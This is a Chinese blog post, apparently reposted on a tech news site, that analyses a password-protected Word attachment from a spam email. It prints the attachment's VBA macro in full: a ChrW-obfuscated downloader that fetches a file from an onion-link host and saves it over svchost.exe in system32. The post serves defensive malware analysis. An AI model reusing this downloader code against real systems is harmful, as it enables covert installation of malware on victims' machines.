一次垃圾邮件的分析
上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味,之前也没有分析过word附件,因而有了今天的分析。
- 环境:ubuntu 16.04
- office软件: LibreOffice writer
1. FBI Warning
分析有风险,请在虚拟机上运行;且在分析之前要禁止word的宏自动运行
2. 邮件截图
3. 邮件分析
可以看到邮件的正文内容,是由一张图片和一个附件组成,其中我们要重点关注的就是。
- doc附件有密码,且密码为1115
4. 附件分析
一般分析方法
- 4.1 一般来说,非打开方式去分析一个word附件,我们一般会选择oletools,但是这是在word文档非加密的情况下,加了密码后无法通过oletools来提取word文档中的宏。
-
4.2 olevba 提取宏展示
olevba -c xxx.doc
- -c: 只显示word中的宏代码
- -a: 自动分析word是否可疑
加了密码后,就不能用一般的分析方法
- 4.3 尝试是用olevba来提取文档的vba代码
- 4.4 关闭宏自动运行的前提下,打开word附件。
- 4.4.1 可以看到,word文档需要密码,当你输入完密码后,就会自动打开文档,如果你之前启用了宏,那么当你输入完密码后就会中招。
- 4.4.2 打开后,提示word文档包含宏
- 4.4.3 诱惑用户启用宏
- 4.4.1 可以看到,word文档需要密码,当你输入完密码后,就会自动打开文档,如果你之前启用了宏,那么当你输入完密码后就会中招。
-
4.5 查看宏代码
可以看到这里存在一段vb编写的代码,从调用WinHttpReq可以猜出来,这一个word文档的作用是一个下载器 - 4.6 宏代码分析
- Step1. 访问暗网的某个网站下载一个文件,现在已经无法打开这个暗网的链接。
Sub Main Dim WinHttpReq As Object Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password" WinHttpReq.send
如下图,使用tor浏览器访问对应的暗网链接,返回一个网页来说明该暗网地址已经失效。
- Step2. 一个简单的混淆,拼凑出
Dim first5 As String Dim second5 As String Dim last5 As String first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101) second5 = ChrW(97) & ChrW(109) last5 = first5 + second5
其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,因而可以用python来做一个转换。
first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)" second5 = "ChrW(97) & ChrW(109)" def convert_vb2py(s): first_s = s.replace("ChrW","chr") second_s = first_s.replace("&","+") return second_s print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))
最终我们可以得到last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操作
-
Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件
xyuhjnx = WinHttpReq.responseBody If WinHttpReq.Status = 200 Then Set oStream = CreateObject(last5) oStream.Open oStream.Type = Val("1FFF") oStream.Write WinHttpReq.responseBody Dim first6 As String Dim last6 As String first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) last6 = first6 oStream.SaveToFile Environ( "svchost.exe", Val("2FFF") oStream.Close End If End Sub
代码获取icon.jpg的内容,并创建一个Stream对象写入icon.jpg的内容,然后保存到svchost.exe所在的目录,也就是c:\windows\system32\目录下,Val("2FFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数代表覆盖原来的文件。
- 4.7 到此,我们分析完整个宏代码
总的来说,这是一个downloader,下载恶意代码并替换系统的svchost.exe。国外的一些安全研究者也上传了去掉密码后的文档到恶意软件分析网站,下面是其中的一个链接。
参考链接

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
IPC之消息队列·即时通讯小程序(一)
消息队列 上次说到了进程间通信的管道,不过匿名管道有个缺点就是,只能做到有亲缘关系的进程间通信,所以今天学习一个新的进程间通信方式——消息队列。 消息队列提供了一个从一个进程向另外一个进程发送一块数据的方法 每个数据块都被认为是有一个类型,接收者进程接收的数据块可以有不同的类型值 消息队列也有管道一样的不足,就是每个数据块的最大长度是有上限的,系统上全体队列的最大总长度也有一个上限 消息队列函数 头文件#include < sys/types.h>#include < sys/ipc.h>#include < sys/msg.h> msgget int msgget(key_t key, int msgflg);作用:创建和访问一个消息队列key:某个消息队列的名字(类似于每个进程都有一个进程ID一样)msgflg:有9个权限标志构成。它们的用法和创建文件时使用的mode标志是一样的(比如:一个key已经存在的消息队列时,要使用IPC_CREAT | IPC_EXCL,就类似于文件操作的打开:O_CREAT | O_EXCL )。返回值:成功将返回一...
- 下一篇
中式Dao开源框架(micro-dao)
MicroDao中式DaoMicroDao为了解决mybatis固有缺陷,进行全新封装的dao框架,功能覆盖mybatis,且比mybatis更灵活。MicroDao同时支持mysql和oracle代码开源地址:https://github.com/jeffreyning/MicroDao MicroDao相对mybatis的优点:1,sql脚本支持修改后热部署实时生效。2,bean与数据库字段映射关系,通过注解设置到bean中,不必在sql脚本中体现。3,sql脚本支持类似jsp的写法,且不必区分select、update使用不同标签,更加灵活。4,不需要使用插件,内置支持物理分页。5,不需要使用插件,内置支持针对bean的标准增删改查功能。6,不需要使用插件,内置支持读写分离,分库分表。7,针对mysql5.7支持动态字段。 支持mapper、template、非orm三种模式支撑业务系统1,mapper指,通过扫描接口,运行时自动生成dao实例;2,template指,通过继承template标准父类,生成dao子类;3,非orm指,直接使用microDao实例,可以执行非orm...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- CentOS6,CentOS7官方镜像安装Oracle11G
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS7安装Docker,走上虚拟化容器引擎之路
- CentOS7,CentOS8安装Elasticsearch6.8.6
- CentOS7设置SWAP分区,小内存服务器的救世主
- 设置Eclipse缩进为4个空格,增强代码规范
- CentOS7,8上快速安装Gitea,搭建Git服务器
- CentOS关闭SELinux安全模块
- SpringBoot2整合Thymeleaf,官方推荐html解决方案